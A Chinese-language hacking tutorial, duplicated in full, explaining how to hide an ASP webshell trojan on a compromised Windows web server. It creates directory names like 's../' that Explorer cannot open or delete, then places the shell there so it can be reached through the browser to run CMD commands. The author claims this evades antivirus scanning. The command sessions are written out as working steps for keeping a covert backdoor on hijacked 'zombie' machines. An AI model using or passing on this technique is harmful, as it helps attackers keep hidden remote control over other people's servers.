黑客后门:让ASP木马不被杀
你要说是修改ASP木马其中代码或者加密等来逃避杀毒,错了,这个不用你修改,而且谁也不保证你修改过的ASP不被XX杀毒软件杀,反正我也是懒改,呵呵,我们运行CMD,cd c:/winnt/system32/myhome下也。也就是你虚拟目录转向的地址,先说一下原理大家都知道在Windows中“/”符号是路径的分隔符号,比如“C:/Windows/”的意思就是C分区中的Windows文件夹,“C:/Windows/System.exe”的意思就是C分区中的Windows文件夹中的System.exe文件,好继续我们假设一下:
如果文件名中有“/”符号会怎么样呢?假如“S/”是一个文件夹的名字,这个文件夹位于:“F:/”,他的路径就是“F:/S/”,当我们试图访问的时候Windows会错误的认为我们要打开的文件是C分区的S文件夹,这样Windows就无法打开并且会返回一个错误,因为以上的路径并不存在。
也许你现在正在尝试创建“S/”文件,但是Windows会提示你:“/”符号是不能作为文件、文件夹的名字的。看来Windows还是早已想到这一点了的。OK我们继续进行,就不信不能建立包含“/”符号的文件。
现在打开你的电脑,我们要做一些很有趣的尝试。进入Windows后 点击:开始>运行 然后输入“cmd”并会车(如果是Win98请输入“COMMAND”),这时你会看到Windows的命令控制台,我们就是要利用它完成我们剩下的测试,以下包含了很多命令其中{}中的字符是我的注释:
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
c:/winnt/system32/myhome>mkdir s/ {我们的第一次尝试,结果Windows只创建了S文件夹"/"被忽略掉了}
c:/winnt/system32/myhome>mkdir s/s1/ {还是失败,Windows先创建了S文件夹,然后在S内创建s1文件夹}
c:/winnt/system32/myhome>mkdir s./ {"s./"被解析成S"./"又被忽略了}
子目录或文件 s./ 已经存在。
c:/winnt/system32/myhome>mkdir s../ {终于成功了,现在你可以在资源管理器看到"s."但却无法打开/删除}
c:/winnt/system32/myhome>mkdir s.../ {又成功了,在资源浏览器能吹?s.."可以打开但是无法删除}
----------------------------------------------
为什么会这样?我们先说你看到的这个“S.”文件夹,他即不能打开也不能删除,不能打开是因为他的实际路径是“c:/winnt/system32/myhome/s../”(我们自己创建的所以可以确定他的实际路径)但是在Windows资源管理器中名字变成了“S.”也就是说当你试图打开它的时候Windows实际上尝试打开“c:/winnt/system32/myhome/s./”当然是不能打开的,文件并不存在,所以Windows会报错。不能删除也是因为这个,Windows把一个实际存在的文件路径错误的解析为一个不存在的路径,并进行xx作当然是无法完成的。
该说“S..”这个文件了,这个文件可以打开,但是却无法删除。等等……打开?你以为Windows真的是打开了我们创建的“s.../”文件了吗?我们做下面的试验你就明白了。还是老规矩{}是我的注释方便大家理解:
----------------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
c:/winnt/system32/myhome>copy net.asp s../ {复制刚刚你的asp的木马文件到“s../”,资源管理器的“S.”}
已复制 1 个文件。
c:/winnt/system32/myhome>
----------------------------------------------
现在回到你的资源管理器打开“S.”文件夹,你看到了什么?“net.asp”文件怎么会在这里?我们刚刚的确复制到了“S.”呀?难道我们打开“S.”文件夹实际上就是打开了“S”?不错事实就是这样。其实如果你再创建一个“S”文件夹的话“S.”就能打开了,但是实际上打开的是“S”。
这是关键的话题了,其实我们就利用S.目录不被杀的目的来隐藏我们的木马,不管木马都毒,可是一般来说的exe文件不能在s.这样的目录下运行的,但是asp木马却可以!可以通过浏览来执行CMD命令,把net.asp复制到s.目录后,把net.asp删了,我们在浏览器
http://127.0.0.1/kiss/kiss/s../net.asp
就可以看到浏览得asp木马了到了,一般用户根本不可能发现他,就算专业级的杀毒软件也只会去杀“s”而跳过“s../”,好了那就说一下删除方法吧
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
F:/Test>dir
驱动器 F 中的卷是 BGTING
卷的序列号是 2C8E-FE1C
F:/Test 的目录
2003-09-11 17:50 <DIR> .
2003-09-11 17:50 <DIR> ..
2003-09-11 18:35 <DIR> s.
2003-09-11 18:37 <DIR> s..
1 个文件 9 字节
5 个目录 3,390,029,824 可用字节
c:/winnt/system32/myhome>rmdir s../
目录不是空的。
c:/winnt/system32/myhome>rmdir s../ /s
s../, 是否确认(Y/N)? y
c:/winnt/system32/myhome>rmdir s.../ /s
s.../, 是否确认(Y/N)? y
这也不用担心搞坏你肉鸡了,好了这样一个很隐蔽的后门就建立了,而且不被杀,如果在肉鸡,上述要在3389进行测试通过的。
你要说是修改ASP木马其中代码或者加密等来逃避杀毒,错了,这个不用你修改,而且谁也不保证你修改过的ASP不被XX杀毒软件杀,反正我也是懒改,呵呵,我们运行CMD,cd c:/winnt/system32/myhome下也。也就是你虚拟目录转向的地址,先说一下原理大家都知道在Windows中“/”符号是路径的分隔符号,比如“C:/Windows/”的意思就是C分区中的Windows文件夹,“C:/Windows/System.exe”的意思就是C分区中的Windows文件夹中的System.exe文件,好继续我们假设一下:
如果文件名中有“/”符号会怎么样呢?假如“S/”是一个文件夹的名字,这个文件夹位于:“F:/”,他的路径就是“F:/S/”,当我们试图访问的时候Windows会错误的认为我们要打开的文件是C分区的S文件夹,这样Windows就无法打开并且会返回一个错误,因为以上的路径并不存在。
也许你现在正在尝试创建“S/”文件,但是Windows会提示你:“/”符号是不能作为文件、文件夹的名字的。看来Windows还是早已想到这一点了的。OK我们继续进行,就不信不能建立包含“/”符号的文件。
现在打开你的电脑,我们要做一些很有趣的尝试。进入Windows后 点击:开始>运行 然后输入“cmd”并会车(如果是Win98请输入“COMMAND”),这时你会看到Windows的命令控制台,我们就是要利用它完成我们剩下的测试,以下包含了很多命令其中{}中的字符是我的注释:
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
c:/winnt/system32/myhome>mkdir s/ {我们的第一次尝试,结果Windows只创建了S文件夹"/"被忽略掉了}
c:/winnt/system32/myhome>mkdir s/s1/ {还是失败,Windows先创建了S文件夹,然后在S内创建s1文件夹}
c:/winnt/system32/myhome>mkdir s./ {"s./"被解析成S"./"又被忽略了}
子目录或文件 s./ 已经存在。
c:/winnt/system32/myhome>mkdir s../ {终于成功了,现在你可以在资源管理器看到"s."但却无法打开/删除}
c:/winnt/system32/myhome>mkdir s.../ {又成功了,在资源浏览器能吹?s.."可以打开但是无法删除}
----------------------------------------------
为什么会这样?我们先说你看到的这个“S.”文件夹,他即不能打开也不能删除,不能打开是因为他的实际路径是“c:/winnt/system32/myhome/s../”(我们自己创建的所以可以确定他的实际路径)但是在Windows资源管理器中名字变成了“S.”也就是说当你试图打开它的时候Windows实际上尝试打开“c:/winnt/system32/myhome/s./”当然是不能打开的,文件并不存在,所以Windows会报错。不能删除也是因为这个,Windows把一个实际存在的文件路径错误的解析为一个不存在的路径,并进行xx作当然是无法完成的。
该说“S..”这个文件了,这个文件可以打开,但是却无法删除。等等……打开?你以为Windows真的是打开了我们创建的“s.../”文件了吗?我们做下面的试验你就明白了。还是老规矩{}是我的注释方便大家理解:
----------------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
c:/winnt/system32/myhome>copy net.asp s../ {复制刚刚你的asp的木马文件到“s../”,资源管理器的“S.”}
已复制 1 个文件。
c:/winnt/system32/myhome>
----------------------------------------------
现在回到你的资源管理器打开“S.”文件夹,你看到了什么?“net.asp”文件怎么会在这里?我们刚刚的确复制到了“S.”呀?难道我们打开“S.”文件夹实际上就是打开了“S”?不错事实就是这样。其实如果你再创建一个“S”文件夹的话“S.”就能打开了,但是实际上打开的是“S”。
这是关键的话题了,其实我们就利用S.目录不被杀的目的来隐藏我们的木马,不管木马都毒,可是一般来说的exe文件不能在s.这样的目录下运行的,但是asp木马却可以!可以通过浏览来执行CMD命令,把net.asp复制到s.目录后,把net.asp删了,我们在浏览器
![](http://www.wg80.net/skin/skin_1/small/url.gif)
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
F:/Test>dir
驱动器 F 中的卷是 BGTING
卷的序列号是 2C8E-FE1C
F:/Test 的目录
2003-09-11 17:50 <DIR> .
2003-09-11 17:50 <DIR> ..
2003-09-11 18:35 <DIR> s.
2003-09-11 18:37 <DIR> s..
1 个文件 9 字节
5 个目录 3,390,029,824 可用字节
c:/winnt/system32/myhome>rmdir s../
目录不是空的。
c:/winnt/system32/myhome>rmdir s../ /s
s../, 是否确认(Y/N)? y
c:/winnt/system32/myhome>rmdir s.../ /s
s.../, 是否确认(Y/N)? y
这也不用担心搞坏你肉鸡了,好了这样一个很隐蔽的后门就建立了,而且不被杀,如果在肉鸡,上述要在3389进行测试通过的。